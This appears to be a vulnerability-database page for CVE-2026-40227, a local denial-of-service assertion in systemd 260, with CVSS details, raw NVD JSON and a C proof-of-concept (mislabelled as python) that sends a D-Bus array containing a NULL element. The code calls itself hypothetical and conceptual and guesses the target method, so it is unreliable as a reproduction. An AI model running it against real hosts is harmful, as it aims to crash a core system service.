Security Vulnerability Report
中文
CVE-2026-40227 CVSS 6.2 MEDIUM

CVE-2026-40227

Published: 2026-04-10 16:16:34
Last Modified: 2026-04-14 19:42:00

Description

In systemd 260 before 261, a local unprivileged user can trigger an assert via an IPC API call with an array or map that has a null element.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:systemd_project:systemd:260:-:*:*:*:*:*:* - VULNERABLE
systemd 260
systemd < 261

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <systemd/sd-bus.h> /* * PoC for CVE-2026-40227 * This code attempts to trigger the assertion failure in systemd * by sending a variant array containing a NULL element via IPC. */ int main(int argc, char *argv[]) { sd_bus_error error = SD_BUS_ERROR_NULL; sd_bus_message *m = NULL; sd_bus *bus = NULL; int r; // Connect to the system bus r = sd_bus_open_system(&bus); if (r < 0) { fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); goto finish; } // Create a method call to a vulnerable interface (Hypothetical path) r = sd_bus_message_new_method_call(bus, &m, "org.freedesktop.systemd1", // Service "/org/freedesktop/systemd1", // Object path "org.freedesktop.systemd1.Manager", // Interface "SetEnvironment"); // Method (Example) if (r < 0) { fprintf(stderr, "Failed to create method call: %s\n", strerror(-r)); goto finish; } // Construct a malicious array containing a NULL element // Note: Actual implementation details of triggering the specific assert // depend on the exact vulnerable API endpoint. r = sd_bus_message_open_container(m, 'a', "s"); if (r < 0) { fprintf(stderr, "Failed to open container: %s\n", strerror(-r)); goto finish; } // Append a valid string first sd_bus_message_append_basic(m, 's', "VALID_VAR=1"); // Attempt to append a null/invalid element to trigger the assertion // In a real PoC, this might involve manipulating the serializer directly // or using a specific API call that accepts arrays. // This is a conceptual representation. sd_bus_message_append_basic(m, 's', NULL); r = sd_bus_message_close_container(m); if (r < 0) { fprintf(stderr, "Failed to close container: %s\n", strerror(-r)); goto finish; } // Send the message r = sd_bus_call(bus, m, 0, &error, NULL); if (r < 0) { fprintf(stderr, "Call failed (Expected if crashed): %s\n", error.message); } else { printf("Call succeeded, target might not be vulnerable or patched.\n"); } finish: sd_bus_error_free(&error); sd_bus_message_unref(m); sd_bus_unref(bus); return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40227", "sourceIdentifier": "[email protected]", "published": "2026-04-10T16:16:33.607", "lastModified": "2026-04-14T19:41:59.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In systemd 260 before 261, a local unprivileged user can trigger an assert via an IPC API call with an array or map that has a null element."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1025"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:systemd_project:systemd:260:-:*:*:*:*:*:*", "matchCriteriaId": "2CC53AC2-A12C-42A6-9165-E780FD9DC42D"}]}]}], "references": [{"url": "https://github.com/systemd/systemd/security/advisories/GHSA-848h-497j-8vjq", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}